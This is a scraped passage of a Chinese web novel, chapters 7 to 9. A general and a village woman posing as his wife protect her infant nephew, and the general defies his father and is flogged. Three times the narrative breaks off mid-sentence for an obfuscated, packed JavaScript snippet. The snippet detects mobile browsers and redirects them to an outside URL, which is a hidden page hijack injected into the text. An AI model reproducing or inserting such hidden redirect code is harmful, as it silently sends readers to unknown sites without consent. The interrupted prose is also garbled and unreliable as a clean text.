他走路时两条腿都在打颤,两个眼睛亦是看哪都重着影。前日宫中值夜,昨晚一夜未眠,饶是再好的身体也吃不消。 乳娘跟在后头瞧着主家这副模样,想扶又不敢扶,只能保持距离跟着。 进院之前碰上长夏出门洒扫,她瞧见赵留行顶着厚重的黑眼圈似个罗刹行来,免不了一阵大呼:“妈呀,吓死我了。将军昨晚上叫阎王爷抓去当小鬼了?面色这么难看!” 赵留行现下脑子困得迷迷糊糊,压根没工夫跟长夏掰扯。 他忍着如潮水般将要淹没他的睡意,随手一指身后,又给长夏派了个活干,“去,去,这是新招的乳娘…你去给人安排个住处,预支一个月工钱……收拾收拾,就来给孩子喂奶。” “我不行了,我先回屋……” 长夏闻言瞧了赵留行身后人一眼,心想这人原是给孩子寻乳娘去了,平日里还真是错看他们这心如铁石的将军了,当起爹来还挺像回事。 “是,交给我吧。” 长夏躬了身,目送着赵留行留下乳娘独自远走。 - 赵留行踉踉跄跄跨进屋门,脑子早已糊涂不清,他还当自己是个单身汉子,随手将鞋袜衣衫脱了满地,拨开床帘扑在床上倒头就睡。 哪知道正正好压在了那仰面打呼的人身上。 柳善因自梦中忽觉被压泰山之下,难以呼吸,未曾料睁开眼时竟被赵留行重重压着。她慌忙想将人推开,却察觉自己根本使不上劲,忙活半天只落得个气喘吁吁。 两刻不到,乳娘喂奶而来,但见屋门半开怕有所惊扰,打算叩门询问。 只是堪堪将手抬起,乳娘便打眼瞧见屋中衣衫狼藉,又赶忙将手收了回去。 她终究是过来人, 转眸察觉那端床帐微动,还有声声浅喘。 顿时羞涩。 她嘀咕:大户人家奔放至此?大白日也不避人,这孩子到底喂还是不喂…… 正当乳娘左右不定之际,屋内偏传来柳善因羞愤的一句:“赵赵将军快起来,你压到我了——” 7. 第 7 章 榻上的男人似是觉得身下硌得慌,迷迷糊糊翻了身,仰面睡在了柳善因的身旁。 柳善因推开赵留行落在自己腰上的手臂,噌的一下就从床上坐了起来。她没去责怪赵留行的冒昧,她明了他的疲惫。况且,自己现在是寄人篱下,就算真有什么……为了小侄子也得忍下去。 她有那自知之明。 柳善因坐在床边望着满地的衣物,没多在意门外的动静,只默默弯腰带着凌乱的发髻去整理起地上的狼藉。可等她顺着衣物散落的方向来到门前抬头一瞧,这才发觉门外的人正将她相望。 那表情耐人寻味,叫柳善因立刻会意,她抱着赵留行的衣裳急忙解释道:“不不不,不是你想的那样子。” 乳娘却识相地没有接过她的话茬,“夫人,我来喂小郎君。” 柳善因闻言赶忙应声:“哦好,那您稍等等,我把东西放了就抱小宝出来。” 乳娘垂了眸。 柳善因赶忙转头将衣物放好,抱着小侄子蹑手蹑脚走了出去。 今朝春光明媚,院中风光正好。 柳善因衣袂飘飘,行过石子小径,扫起春风,又送走落红。 小侄子醒来时没哭没闹,他探着小脑袋在柳善因的怀里张望,还时不时发出咿呀的声响。柳善因听见动静低头瞧,充满慈爱地说道:“我们小宝醒了,知晓该吃奶了?” 乳娘住在长夏隔壁,他们几人来时,长夏刚收了柳善因的衣裳打算送去,“夫人来得正巧,您的衣裳我给您晾晒好了,我还说连带着早饭给您一块送去呢。” 长夏还是一如既往地热络。 乳娘见状从柳善因怀里接过小郎君,就打算进屋去了,“夫人,我去喂奶。” 柳善因点点头,“那就麻烦您了。” 回头跟长夏对上眼神,柳善因压根没拿自己当什么将军夫人,又怎么好意思劳烦和差使别人?她便说:“没事的,这衣裳等待会儿小宝喂完奶,我一并带回去就好,免得你跑一趟。还有长夏娘子你的衣裳,我今儿下午就给洗出来,明早一定归还。” “不急,您把衣裳换了,我自己来洗就好。”长夏摇了头,温柔望向柳善因,她倒是挺喜欢这个新夫人的。 不端着,不拿着,身上有活人气儿。 哪里跟护军府的人一样,从上到下,但凡是手里沾点权啊,利啊,就恨不能上了天去。 她秦氏就是其一。 长夏举目瞧见柳善因凌乱的发髻,顺手将人推去了边上的石案旁,“夫人坐着,我先替您将发髻挽了,再去给您打些水来洗漱洗漱。将军这会子是不是在屋里睡着?” “今儿天气清爽,不若我一会儿将早饭给您拿到这儿来用?” 柳善因不习惯被人伺候,可她逃不脱长夏的盛情,只得乖巧坐在石凳上任由长夏摆弄自己的头发。随之将两只手按在膝头,柳善因低眉应了声:“好,长夏娘子安排便是。” 长夏却顺起手中柔软的长发,眯眼笑道:“夫人又忘了,不可再唤我娘子了。” - 晌午在前院用过早饭,柳善因怕打扰赵留行睡觉就再没回到寝屋去。眼下巳时过半,她和乳娘带着小侄子坐在廊前晒暖,长夏则被秦氏急匆匆地唤走不知作甚去。 乳母是个话不多的。 可在相处之间,她还是忍不住跟柳善因提及了昨晚的事。 “夫人。”乳娘轻唤。 这声称呼尽管对于柳善因来说还是那般陌生,但她竟下意识抬起头。乳娘见状扯了扯小郎君的衣角道是:“您真是嫁对了人。” 柳善因茫然相对,眼前人冷不丁说上这么一句,真是叫她不知该如何作答。 她只能尴尬的赔笑,生怕漏出丝毫破绽。 乳娘却继续道:“我从未见过像将军这样能不顾体面,亲自替孩子寻乳娘的男人。您不知昨晚上将军为了给小郎君寻个乳娘,领着两个部下满大街找牙人开的铺面。” “可惜去的时辰不对,他们三个大男人愣是在街上等到寅时开市,才匆匆通过牙人找到我。” “我其实是定好了人家的,若不是我家急着用钱,将军应我提前预支工钱,我大抵是不会接了这份活。所以我才说,夫人真是嫁了个愿为你上心的好男人。一辈子若能遇见这么个人,还能有什么撼呢?夫人不像我,夫人是个有福气的。” 乳娘眼神中流漏出的羡慕之意,叫柳善因羞愧不已。 她忽而沉默了。 是啊,像赵留行这般样样出挑的郎君,在他们兰花村十里八乡都寻不到一个,若这辈子能碰上并与之相守一生,当然是天大的好事。可柳善因不糊涂,更不贪心。 她清楚的明白,自己只是暂时偷走这个位置。 他们压根就不是一个世界的人。 柳善因只希望在分道扬镳之后她和小侄子能活下去,赵赵将军能够幸福,这就够了。 想到这儿,柳善因的眼眸又开始变得明亮,她髻上的红绫向南飘了飘,“是的,赵赵将军是个很好的人。” 乳娘不语,却望着主家莞尔笑起。 气氛堪堪融洽,风云又起,长夏气喘吁吁打府外跑来,一脸焦急。她顾不得体统大呼:“夫人,大事不好,大事不好。” 柳善因不知所云,转眸回问:“怎么了?出什么事了?” “那边…那边派人问罪来了……我去唤将军起床。您,您快去后头避避。”长夏匆忙来到柳善因面前,却还是晚了一步。她的话音落时,一群气势汹汹的人已经来到了身旁。 长夏知晓护军府的手段和狠劲,便不得不暂时舍弃柳善因,于人群中悄然溜走。 柳善因起身茫然四顾,她并不明了来者何人。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15105985|163873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只瞧见秦氏站在他们之中正将她打量。 柳善因察觉危险靠近,下意识将小侄子和乳娘护在身后。她其实很怕,她发怵于他们那一双双鄙夷的目光,却为了小侄子不肯退缩。 柳善因小声告诉乳娘,“麻烦您带小宝进屋去。” 乳娘倒也机灵,掉头回屋立刻上了锁。小侄子似是察觉与小姑分离,忽而在屋内大哭起来。 可门外的众人对于孩子的啼哭漠不关心,唯柳善因一人心焦而已。 “这就是蛊惑三郎的野丫头?”秦氏身边领头的年长老嬷开了口。她一个使人婆子,通身的好绫罗,满头的金银钗,看着就非比寻常。 柳善因生于兰花村,长于兰花村,何时见过这么大的阵仗? 她听见眼前人的羞辱,竟是一句话也不敢反驳。 秦氏受命于护军府,自然唯护军府是从,她望着柳善因躬身同身边人道了声:“正是。”便是这一句正是,引得老嬷挥手下令,“把她给我拿了。” 他们仿若就是冲柳善因来的。 - 前院乱哄哄,长夏适才偷溜,就是为了抢先一步过来通风报信。 谁成想,她慌张张跨进门,赵留行这当事者还在屋里睡得正香。长夏生怕出什么祸端,赶忙扯着嗓子大呼:“将军将军,别睡了。那边的都打上门了,您怎么睡得着的——” 怎么睡得着的?两宿没睡,换她也是这般。 赵留行睡得太死, 长夏初唤无果,急的团团转。 她明了外头的凶神恶煞可不等人,便只好使出那招…… 但闻长夏前一秒,刚掀起床帘道出一句:“冒犯了将军。” 下一秒,伸出的重拳就狠狠落在了赵留行身上。 别看长夏身形消瘦,力气却一点不输儿郎。不若府中那么多活计,怎么都是她一人做得? 赵留行睡梦中凭白被人打了一拳,自然得醒来瞧瞧。他茫茫然睁眼看着床边不是柳善因,而是握拳的长夏,顿时怫然作色,他骂长夏,“你疯了?” 长夏顾不得解释,直言道:“将军您可算醒了,您快出去看看吧,那边来人了——” 赵留行开口时半梦半醒,“那边?他们来做什么?” “听说,听说是阿郎叫您回家去。”长夏焦急地左顾右盼,赵留行闻言并未将这事放在心上,他随即大手一挥,翻身给背了过去,“叫我回家?不去!” 主家的态度可把长夏急得够呛,“可,可您若忤逆阿郎,我怕他们对夫人不利。” 此话一出,刚才还满不在乎的赵留行,一听事关柳善因,似从梦中惊醒般猛地翻床而下,没等长夏反应,他便已经披衣上身质问了句:“他们人在哪——” 长夏抬头看得真切,主家分明是要吃人去…… 她便忙说:“在,在前院呢。” 8. 第 8 章 赵留行披衣而行,威风凛凛地踏碎了那曾被柳善因裙摆送走的落红。长夏紧随其后,探头看着主家高大的背影之下满是逼人的霸道气势,瞬间吓得收了目光。 到底是习武出身的儿郎,赵留行的身形已不似洛阳的那些王孙贵胄般清瘦。 坚实的肩头,看上去可担千斤重。 遥想赵留行十一岁离家,在北庭历练了那些年,日日看的都是生与死的杀伐,对于脚下王城里污浊的权与势,早就不屑一顾。 以至于,等他到了前院瞧见几个小厮不分青红皂白押了柳善因,便不管这些人到底是得了护军府,还是长公主的授意,上去就是两招拿下,一点情面也没留。 二三小厮顿时应声倒地,他们根本不是宁远将军的对手,便再不敢贸然上前。 被吓到的不止赵家的小厮,柳善因亦是被赵留行的动作震在原地。 可赵留行瞧见她却立刻变了脸,他就这么当着众人的面,拉着自己的假媳妇前前后后,仔仔细细检查了遍,“他们有没有把你怎么着?可有伤着?孩子呢?孩子在哪?” 柳善因懵着脑袋被赵留行拉过来,又转过去。 她不知眼前人是在演戏给其他人看,还是真的关心自己,但既然是假扮夫妻,她就理应配合着点,“我,我没事。小宝跟乳娘在那边的屋子里,你别担心。” 赵留行演得就跟真的一般,还伴着柳善因的情绪松了口气。 但其实… 他心里偏阿弥陀佛个不停。 他想幸好无事,不若真要出点什么事,如何跟柳徽交代?他的责任当真重大。柳徽一辈子就这么点牵挂,若在自己手里出了问题,怕是后半生都不会再将他放过…… 这边夫妻两个“柔情似水”,“关怀备至”,瞧得对面人匪夷所思。 三郎君暴戾恣睢,不好招惹的恶名,在赵家是人尽皆知的。 老嬷来前便有些心里准备。 但当她望着眼前这无论从个头,相貌,穿着皆不出挑的女郎,真叫她百般错愕。加之亲眼所见赵留行对她亲密的态度,便让老嬷不禁揣摩,这女人确实有些手段。 人心黑,看什么都是黑的。 老嬷在长公主身边呆了几十年,见得尽是那些腌臜事,哪里还会相信纯善二字? 她眯起眼睛,想要警告警告他们,没想到竟被赵留行抢了先。 他在确认好柳善因安然无恙后,毅然将人揽去身后,与一群人对峙,“贸然入府,不问主家就轻易拿人?你们以为这是哪?居然敢这般放肆。” 老嬷抬起头,不似秦氏般惧怕赵家老三。 她挑起眉,不慌不忙地答曰:“这是哪?这不是赵家二姑奶奶在洛阳的私宅吗?里外里都是赵家的家业,我们今朝是奉了赵家家主之命过来传话,三郎君说我们放肆着实言重,老奴可担当不起。” 老嬷的声音重重落下,她这是在拿赵爹的命令施压。 可……赵家二姑奶奶? 是,老嬷说得倒也不错。但一个被赵家扫地出门的逆女,如今只因在北庭建了功立了业,就重新被抛弃她的赵家所提及,所承认,岂不可笑? 赵留行觉得这简直是他这辈子听过最好笑的笑话,若二姑在,定会把这些人一并打包送回护军府去—— 但现实是二姑不在,他哪怕态度再强硬,终究是赵家的晚辈。 况且,他现在不是孤身一人说什么,做什么,都需顾着柳善因和柳家侄子的安危,若是做得过火了怕是引火上身,可要是退让了,大抵又会让对面得寸进尺。还真是难为他个只懂打架的武夫。 赵留行厉声去问:“那边让你来传什么话?” 老嬷昂昂头,俨然做好了要与赵家老三纠缠的准备,“老奴奉阿郎之命,特来告知三郎君即刻归家请罪。若三郎君执意抗命不尊的话,就别怪老奴对那丫头……” “我跟你回去。” 怎料,老嬷千算万算,就是没算到赵留行居然这么干脆就给应了下。 她咂咂嘴,转头等着复命去。 - 临行前,赵留行特意换了身深色的袍子。 他迈过府门一脸从容,瞧着压根不像去请罪的。柳善因就紧紧追在他的身后,脚步匆忙。可很快,她便被簇拥在赵留行身边的人群所淹没。 柳善因站在人群之后,遥遥望着赵家三郎的背影,何敢当着这么多人的面高声言语? 满眼的忧憧,也只能一人消化。 赵留行却在登车前回眸找到了她,他无视众人朝她走去,柳善因赶忙怯怯唤了声:“赵赵将军……” 赵留行闻言只说:“小柳,回家去。” 柳善因恍然抬头,天光模糊了赵留行的脸,她听他附言:“回去把门锁好,我没归家之前,任是谁来都不准开。免得叫那些狼心狗肺的东西再闯进来。” 小柳…回家去…… 熟悉的话语,不熟悉的语调。 这话从赵留行口中说出那刻,好似把柳善因推回了许多年前自己被同村孩子丢进草垛那天,那是柳善因唯一一次反抗,也是她唯一一次没有哭着跑回家去。 她本以为回家后阿兄会责备她。 可当那些孩子的爹娘追上门讨要说法后,阿兄却只对她说了句:“小柳,回家去。” 柳善因愣了神。 赵留行不明所以地抬头望,他问小柳:“我说的话,你可记住?” 柳善因闻声回神,赶忙应道:“记住了。” 赵留行点了头,自觉没什么再去交代转身要走。哪知竟被人拉住衣角,赵留行茫然回首,但见柳善因两眼忡忡地与他说:“赵赵将军,我等你回来。” 赵留行盯着柳善因清澈的眼睛,着实是她的演技惊讶,他不禁心道柳家妹妹装得也真是像样,便也不甘落后的配合应道:“好,等我回来……” - 护军府世代簪缨,饶是门头便高丈四尺。其上画栋雕梁,丹楹刻桷,就宛若置于天外。 外头人瞧着赵家高门大户,好不气派。 门内人却心知肚明,下不来台。他们赵家兴盛百年,到了赵无征这代已逐渐凋敝四散,族中庸才众多,不堪大用。勉强靠着皇亲之名才得以撑起门楣。 后好不容易出了赵留行姑侄这般,镇守北庭的功臣,却因陈年旧怨,被人家划出界外。 赵无征心焦。 可他奈何不了离经叛道的二妹,还奈何不了自己的亲生儿子? 他觉得他是老子,他说什么做什么,赵留行都得受着——于是乎,延续呈王府与赵家姻亲关系的这档子事,就不由分说地砸到了赵留行头上。 赵留行举目望着既陌生又熟悉的家门,眼中看不出丝毫怀念。 甚至发出一声冷笑。 老嬷立在一旁,不知眼前人这么顺当地过来意欲何为,但她知晓准是不怀好意,她便垂眸道:“三郎君去忠勇堂,阿郎和殿下都在。老奴就不跟着了。” 赵留行抬了脚,没去理会这精明的婆子。 - 府中大小百十间屋子,几十个岔路,唯去忠勇堂的路,赵留行记得清晰。 好似打他记事起,日日都是在忠勇堂度过的。 三岁前有亲娘护着,赵无征还有所收敛。三岁后爹娘和离,亲娘改了嫁,亲爹娶了长公主为妻,做了天家的女婿,赵留行就彻底成了府里的受气包。 挑食了要罚,路走快了要罚,除夕宴上叫错长辈还是要罚。 从也没人在乎过他,单是那同样被祖父排挤的二姑,常常拎着东西去看他,教他。 最后还带他逃离了这个家。 “白眼狼,不敬祖宗的混账东西——” 赵留行停在忠勇堂的廊外,漠然听着堂内无休止的谩骂。 彼时,临芳长公主瞌眸坐在赵无征的身边,捻着手里的珠串一言不发。直到赵无征回过头,朝着堂外愤怒地唤了声:“逆子。”她也未曾睁开眼睛。 贺家姑侄俩长得极像,一样的雍容华贵,一样的艳杀四方。 先帝子嗣单薄,尽管贺盈安的娘,是个品阶不高的美人,但作为先帝唯二的女儿。 她在天家还是得到了该有的地位和尊重。 贺盈安深吸了口气,默将珠串掩去打算冷眼旁观。她总是这样,装作一副高高在上,永远事不关己的模样。 赵留行恰时跨门而入。 赵无征一见到儿子,便立刻拿起了作为老子的威严,命令其如孩童时一样跪下。 现在的赵留行哪里还会听话?他定在不远处开口:“你找我来,就是为了让我在你面前跪下?不用讲些有的没的,有话直说。” “你。” 赵无征怒火中烧,愤怒的眼神瞬间化作一道锋利的刃,投去赵留行身上。他从前就讨厌他,讨厌他的叛逆,讨厌他的不服管教,讨厌……他和老二越来越像。 “不知廉耻的东西。”赵无征大骂。 赵留行瞧他还是跟以前一样,没有半分改变,失去了谈下去的耐心。 他转过身,早已习惯了他们之间这样无效的沟通,打算像往常般离去。然赵无征也只有在这种时候,才会愿意把无用的咒骂与说教收下,转而将重点转移回要说的话上。 这也是赵留行对付赵无征的办法。 “难道为父说错了!未娶妻,就先纳妾,竟然还弄出个孩子来——不是不知廉耻是什么?我不管别家如何,但在赵家决不允许有这样的事情发生。逆子,你让我如何面对祖宗!” 赵无征终将实话吐露。 赵留行定在门前半晌无言。重伤他的话,赵无征说过很多遍。 他甚至怀疑过,自己是不是真的很惹人厌。 可当今日听见身后人这么说,他头一遭没有赌气离开,选择避去这些污浊的语言。彼之天光下落,赵留行逆光站着,他用笃定的语气说:“谁说小柳是妾?小柳……” “是妻。” 只是,这些话似乎刺痛的人并非是怒不可遏的赵无征,而是另有其人。 话音落后,那人缓缓睁了眼。 - 贺盈安眼神淡淡,偏始终透着股狠劲让人不寒而栗。 赵留行没去看她,也不曾畏惧。 贺盈安冷哼。她知晓赵留行此番定会忤逆赵无征,却未曾料到眼前人的态度居然会如此强硬,胆子更是大到能为了一个不知名的野丫头与赵家,乃至呈王府作对。到底是她小瞧了他去。 赵无征立在堂下同贺盈安一般的惊讶。 他不敢轻举妄动。 瞧着护军府是他当家,其实府中大小决策,若没有贺盈安的拍板,他是屁都不敢放。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15105986|163873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 赵无征下意识回头瞧了眼贺盈安。 贺盈安依旧不声不响,却忽而将手中的珠串拍上了桌,其中似乎藏着某种授意,叫赵无征心领神会,他转过头扬言:“赵三郎,你疯了?我再给你最后一次机会,把那丫头给我送走。” 赵留行闻言不禁嗤笑。 他反驳:“我疯?不是所有人都能和你一般,厌了倦了,对自己没有利了,就可以不负责任的舍弃掉。我亦最后告诉你一次,我不会将人送走,我会把她带回北庭。” 赵无征怒火中烧,随即破口骂道:“不孝的东西,你做梦!赵家与呈王府的婚事事在必行,由不得你。跪下——我要你在祖宗面前跪下。” 该来的终究会来。 赵留行就知道会是这种结果,这么多年了,那老家伙教训人的手段一点没见长。 可跪赵无征不行,跪祖宗,他便跪得。 事情总该有个了结,不若他今日就不会来。赵留行瞥了眼赵无征,这大抵也是他最后一次在赵家这样跪拜祖宗了。瞧他撩起衣袍,绕开眼前人,直挺挺地跪在了祖宗面前一脸泰然。 赵无征迅速抄起供在一旁的家法,狠朝他身上送去。他边打,边责备道:“父母之命媒妁之言,自古顺应。违背父母命者,当死不足惜——” 不粗不细的竹条重重落下, 在赵留行的背上开了花,漫延出的血色全被藏在了他深色的衣袍之下。 赵留行却面无表情望向祖宗,心中默念着,直至第八十一次的落下。他忽而抬手握住了即将再次打在身上的家法。赵无征被他的动作吓得一愣。 可等他想重新抽回家法时,又被赵留行夺了去。 赵留行嘶了一声,站起身来。 他不禁暗骂这老儿下手还真是狠毒,打得他居然有些头脑发昏。但战场之上刀剑无眼,受伤是常有的,所以这点小伤于他而言,倒也算不了什么。 赵无征瞪大了眼,他简直不敢置信……老三此去北庭,一别数年,居然学得这般重逆无道。 要知道,护军府从上到下, 还从未有人敢这样公然同长辈抢夺家法。 他赵留行是第一个。 怎料,叫赵无征更为意想不到的还在后头,眼前人居然当着他们的面亲手折断竹条,并扔在了他和贺盈安跟前轻笑道:“老儿,以后少拿这东西打人,这儿又不是大理寺。更别把自己当判官。” 话音落去,赵无征宛若如鲠在喉。 他打了赵留行十几年,从也没料想过能有这么一天。 赵留行摸了摸肩头的伤,装作漫不经心,他在离开前跟赵无征这样说道:“这八十一下,就当是我还你的。从现在起咱俩扯平了,你说我不忠也好,骂我不孝也罢,我都不在乎了。但只要你们敢打他们娘俩半分主意——那下次再见,我不会有像今天这样好的脾气。” 赵留行语毕转身,一步一步挪出了忠勇堂外。 照旧不曾有人上前关心。 赵留行只身立在院中望去辉煌的府宅,忽而叹了口气,他不再听身后人说什么,也不再管他们现下是何等惊诧的表情,一心只想快些回家去。 彼之,赵无征回过神,做了最后一次反击,他道:“好啊,好,赵三郎,我等着。你别妄想这样我就会放过你,那野丫头更不可能做我赵家媳。” 话落廊外无人回应,赵无征气得急火攻心瘫坐在了圈椅之上。 隔岸观火的贺盈安倒在此时发笑。 赵无征回过头,难以置信。他不知道眼前这疯女人是在笑些什么?贺盈安却望着外头早已空荡的门廊说:“这老三真有意思,比府里那些庸人有趣。” 赵无征蹙眉追问:“混小子这个态度,咱们接下来该怎么办?” 贺盈安脸上的笑转瞬即逝,她的心思就跟她这个人一般阴晴不定。她道:“急什么,没有皇帝的准许,老三离不开洛阳,离不开洛阳就有的是机会。咱们还是得从皇帝那想想办法。” 赵无征望着贺盈安欲言又止,贺盈安转眸与之相对。 赵无征无奈回头望了眼祖宗,终拂袖离去。 - 赵留行走时没坐赵家的马车,而是选择忍痛走了回去。 他来到紧闭的府门前用尽力气叩了三口,没想到竟无人应答。再三去叩,里头这才发出一声:“是谁!” 柳善因打门缝往外看,单瞧见一团黑乎乎的东西。 赵留行随即应了声:“是我……” 柳善因一听见赵留行的声音,立刻伸手开门。她自赵留行离开后就这么遵守着承诺一直守在门后,就是长夏叫她回屋等着,她还是执意留在了这里。 然赵留行的力气似乎都用在了回家上,所以在门开的一瞬,他便松懈着向前倒去。 “赵赵将军,你回……” 柳善因这会儿倒是眼疾手快,一把就撑住了赵留行的身体。尽管有些吃力,但她还是用小小的身躯撑起了他。两个人就这样互相靠在了门外。 柳善因摸着赵留行有些湿漉的衣衫,登时大惊,“你受伤了!?” “小柳我,我好……”赵留行靠着柳善因低声言语。 柳善因急得不知所措,“赵赵将军,你很疼是吗?我这就给你找大夫去。你再忍忍——” 赵留行却道:“我好困。” 9. 第 9 章 赵留行醒时小院夕照,黄昏打落的光斑从半开的屋门映在地上。他睁开昏沉的睡眼,察觉肩头冒出一丝凉意,忽而清醒。他趴在铺上侧目望,四动的帐幔正轻轻掠过背脊。 衣裳哪去了? 赵留行惊愕不已,现下他除了穿着裤子,就余了条薄毯搭在身上。 满府上下全是女郎,能是谁对自己“动手”? 是谁动的手也不成啊! 赵留行不敢细想,越细想头皮越发麻。别瞧他这么大个子的少年郎,却对这种事小心得很。他想原先在行伍当着一群男人的面漏漏也就罢了,无伤大雅。可若说当着女郎…… 他实在羞面见人,就算是前胸和后背也不成。 但事已至此,赵留行说什么也晚了,谁叫他困得不知事,只能任由摆弄。他也只求给他脱衣换药的,不是柳善因就好。不然,他真是没脸见人了。 这会子,乳娘抱着刚刚喂完的小郎君打前院走来,她连唤了几声:“夫人。”都无人相应。 赵留行在里屋听见,却没在意。 “赵郎君醒了?” 没成想乳娘试探着进屋,打眼一看赵留行醒了,莞尔给迎了过去。 赵留行茫然看着眼前人怀抱小家伙越靠越近,他刚想起身去问她要作甚,乳娘就顺理成章将孩子搁去了他的身旁,“来,爹爹醒了,咱们找爹爹喽——” “诶,你别……”赵留行没当过爹,自然慌神。 他不知该如何开口告诉乳娘,莫要把孩子搁在自己这儿,便随口问了句:“小柳呢?” 乳娘闻言思忖,“您说夫人?不知,她给您换完药把小郎君给我丢下,就出门送大夫去了。我也不知夫人在哪,您找夫人有事?不若我帮您去找找?” 换药的……居然是柳善因! 乳娘前前后后说了那么多,赵留行到头就听到这么一句。他的脸面登时顺着门缝被风刮走,再寻不回。乳娘瞧主家呆愣的模样,诧异唤道:“赵郎君,赵郎君?” 赵留行木讷地转过头,“没你事了,出去的时候把门带上。” 乳娘觉得眼前人莫名其妙。 可大户人家的主子多少沾些古怪脾气,她也知晓,便垂眉应道:“那我就先回去了。” 乳娘甩手走了。 新结识的“儿子”在床边咿呀叫,赵留行咧嘴看向小家伙,又不能放任着不去管他,只得拎着孩子放在床内,防止他乱动跌落下去,他说:“男人要稳重寡言。你听话,就在这儿呆着等小姑回来。” 赵留行跟听不懂训话的小家伙交代完,转头就自顾自地躺下。 谁料,他一躺下,满脑子又都是—— 府里这么多人,换药的到底怎么能是柳善因呢! - 两个多时辰前,长夏到东街唤了大夫。 大夫匆匆登门没带帮手,等来到屋里瞧见好不容易被众人弄到床上的赵留行,大夫犯了难,“得留个人在屋给我搭把手,帮我把他上头的衣裳脱了。” “全脱吗?”过来帮忙的土酥顺势接茬。 大夫是个臭脾气,他瞥了土酥一眼,“不全脱,难不成要隔着衣裳看吗?老夫没有千里眼,隔衣看不穿!” 土酥咂咂嘴,心骂这个年纪的臭老头怎么都跟他爹一个样! 长夏得了答案,没想太多,打算自告奋勇留下侍奉。谁知道,土酥这没心没肺的家伙,偏抢着望向身边一言不发的柳善因说:“夫人不是在呢吗,给郎君脱衣自然得夫人来啊。咱们不合适。” “啊?我?”柳善因瞪着眼睛站在门边,跟个鸮一样。 土酥点点头,“对,夫人你。” 柳善因刚开始还不敢相信,她个黄花大闺女怎么能给赵赵将军脱衣呢,羞死人了。 她却忘记现在的自己在外人眼里,已是和赵留行育有一子的夫人,那这一子哪来的?还不是不能看的都看了,该做的都做了。脱衣的重任,岂不就是她来最合适吗? 长夏此刻甚是感激土酥心直口快,她适才还真是没想到这层。 柳善因左右看了二人一眼,无奈赶鸭子上架应了声:“好,那就我来吧。” 随后,长夏和土酥关门退去廊外。 柳善因便独自来到床边,垂眸默念了好几遍:“赵赵将军,对不住对不住,我这也是没有办法。我保证,我一定不看不该看的,一定不看不该看的!” 待到准备好了,柳善因把心一横,伸手迅速解开了赵留行的衣带。 布料丝滑散落的瞬间,清晰的线条也落进眼底。 柳善因忽而俯身愣住不动,她居然盯着赵留行点缀着几道旧疤的胸膛入了迷……这还是柳善因生平第一次看男人的身体,她没想到赵留行还挺白净。 柳善因就这么愣着愣着,有人突然从后头拍了她一下,吓得她赶忙立正站好。 柳善因见状不好意思地回过头,却听大夫冲自己无语道:“我说夫人,郎君是你自己家的,又跑不掉,有功夫夜里点灯再瞧。老朽现在要赶快看伤,店里还忙着呢——” “对不住,对不住,我不是故 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15105987|163873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意的。” 柳善因赶忙致歉,不知究竟说与谁听。大夫摇头几声叹息,却不见身边人脸热得都能烙张饼。 - 柳善因自送别大夫后,就去了厨房亲自煎药。 土酥本说她来煎,但柳善因打屋里出来,说什么也不愿回去守着。俩人便一块在后院窝着。 日入之后,药煎好了,柳善因也就没有什么继续赖在厨房的理由。 她端着药盅别了土酥,径直朝寝屋的方向走去。 这时间乳娘才从屋里离开没多久,院中正是春景烂漫,晚霞耀着桃红。 柳善因垂目慢走,心想一会儿见了赵留行千万别再脸红,被人看出来可不好。谁成想,才堪堪到了桃树下头,寝屋里就传来一声不算明朗的嘶叫,吓得她几步快走。 “怎么了?怎么了?” 柳善因匆匆忙忙推门一瞧,昏暗的房间里,赵留行正举着小侄子坐在床上。 气氛怪异得很,甚至有点剑拔弩张。 可很快,赵留行在察觉柳善因来后,又收起了适才的模样。瞧他顺势将小家伙往床边一放,转头自己气呼呼地背身蜷在了床上。柳善因不明所以,只得赶忙把药搁下,上前抱起了小侄子。 “赵赵将军,发生了什么事了?还是说你哪里不舒服?” 柳善因哄着小的,问大的。好不忙活。 赵留行却依旧背着身一言发。 只见他在柳善因看不见的地方,伸手捂着自己的胸口,似是在遮掩什么。 眼前人不答,柳善因站在原地也不知如何是好。等过了一会儿,赵留行缓过劲来忽然开口说了句:“孩子今天应该是没吃饱,你给抱过去再喂喂。” 柳善因闻言抱起小侄子碎碎念道:“我们小宝今天没吃饱吗?来让我摸摸小肚子。” 没成想,还真是…… 柳善因纳了闷,她不明白赵留行怎么会知晓的这么清楚,简直不可思议。难不成他还会带孩子?但究其原因为何,只有赵留行一人清楚。他摸着胸口的余痛陷入沉默。 柳善因心想还是等照顾完大的,再去送小的,不若药凉了不好。 